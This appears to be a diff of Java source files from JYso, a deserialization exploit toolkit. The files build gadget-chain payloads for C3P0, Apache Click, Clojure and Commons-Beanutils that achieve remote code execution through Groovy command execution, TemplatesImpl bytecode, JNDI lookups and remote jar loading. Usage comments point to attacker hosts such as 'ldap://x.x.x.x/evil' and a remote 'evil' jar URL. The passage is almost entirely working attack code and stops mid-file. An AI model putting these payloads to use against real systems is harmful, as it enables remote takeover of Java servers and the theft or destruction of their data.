import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* 同 C3P0 2 只不过使用了 Groovy
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.QI4L})
public class C3P03 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,157 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.IOException;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* 同上 只不过使用了 snakeyaml
* 加了一些常见的 Gadget,有点套娃的感觉了
* <p>
* 用法:
* 远程加载 Jar 包
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
* <p>
* 向服务器写入 Jar 包并加载(不出网)
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
* C3P04 'localJar-./yaml.jar'
* <p>
* C3P0 二次反序列化
* C3P04 'c3p0Double-/usr/CC6.ser'
* <p>
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
* C3P04 'jndi-ldap://x.x.x.x/evil'
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
@Authors({Authors.QI4L})
public class C3P04 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf('-');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
}
String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
private final String type;
public PoolSource(String type, String cmd) {
this.type = type;
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
String yaml = "";
switch (type) {
case "remoteJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "localJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "writeJar":
String[] parts = cmd.split(":");
try {
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
} catch (Exception e) {
throw new RuntimeException(e);
}
break;
case "c3p0Double":
try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) {
throw new RuntimeException(e);
}
break;
case "c3p0Jndi":
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: " + cmd + "\n" +
"loginTimeout: 0";
break;
case "jndi":
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: " + cmd + "\n" +
"autoCommit: true";
break;
}
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=load"));
ref.add(new StringRefAddr("QI4L", yaml));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,99 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P092 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,43 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JDBC implements ObjectPayload<Object> {
//private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
// "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
// "$$\n";
@Override
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
ComboPooledDataSource o = new ComboPooledDataSource();
o.setJdbcUrl(command);
o.setMaxIdleTime(1);
o.setMaxPoolSize(1);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(o, val);
return hashMap;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JNDI implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o,"jndiName",command);
Reflections.setFieldValue(o,"identityToken","exp");
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(o, val);
return hashMap;
}
}
@@ -0,0 +1,39 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
o.setJndiName(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(o, val);
return hashMap;
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
public class C3P0RefDataSource implements ObjectPayload{
@Override
public Object getObject(String command) throws Exception {
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
// // requires ordering
// Reflections.setFieldValue(obj, "jndiName", command);
// Reflections.setFieldValue(obj, "loginTimeout", 0);
// return obj;
return null;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Hex;
import javax.naming.Name;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.util.Hashtable;
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
return obj;
}
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}
}
@@ -0,0 +1,78 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
* <p>
* Chain:
* <p>
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* org.apache.click.control.Column$ColumnComparator.compare()
* org.apache.click.control.Column.getProperty()
* org.apache.click.control.Column.getProperty()
* org.apache.click.util.PropertyUtils.getValue()
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
* java.lang.reflect.Method.invoke()
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* ...
* <p>
* Arguments:
* - command to execute
* <p>
* Yields:
* - RCE via TemplatesImpl.getOutputProperties()
* <p>
* Requires:
* - Apache Click
* - servlet-api of any version
* <p>
* by @artsploit
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({Authors.ARTSPLOIT})
public class Click1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template;
template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template;
return queue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.JYso.gadgets;
import clojure.core$comp;
import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* HashMap.readObject()
* AbstractTableModel$ff19274a.hashCode()
* clojure.core$comp$fn__4727.invoke()
* clojure.core$constantly$fn__4614.invoke()
* clojure.main$eval_opt.invoke()
* <p>
* Requires:
* org.clojure:clojure
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({JACKOFMOSTTRADES})
public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<>();
targetMap.put(model, null);
fnMap.put("hashCode", (new core$comp())
.invoke(new main$eval_opt(), (new core$constantly())
.invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
}
@@ -0,0 +1,28 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({Authors.FROHOFF})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
Class beanCompareClazz = ctClass.toClass();
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
setFieldValue(comparator, "property", "lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
}
@@ -0,0 +1,46 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
ctBeanComparator.defrost();
return queue;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.math.BigInteger;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
public class CommonsBeanutils3 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
BeanComparator comparator = new BeanComparator("lowestSetBit");
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("QI4L");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
return queue;
}
}
@@ -0,0 +1,48 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("su18");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
ctBeanComparator.defrost();
return queue;
}
}
@@ -0,0 +1,38 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({"水滴"})
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1");
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,55 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
@Authors({"SummerSec"})
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1");
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
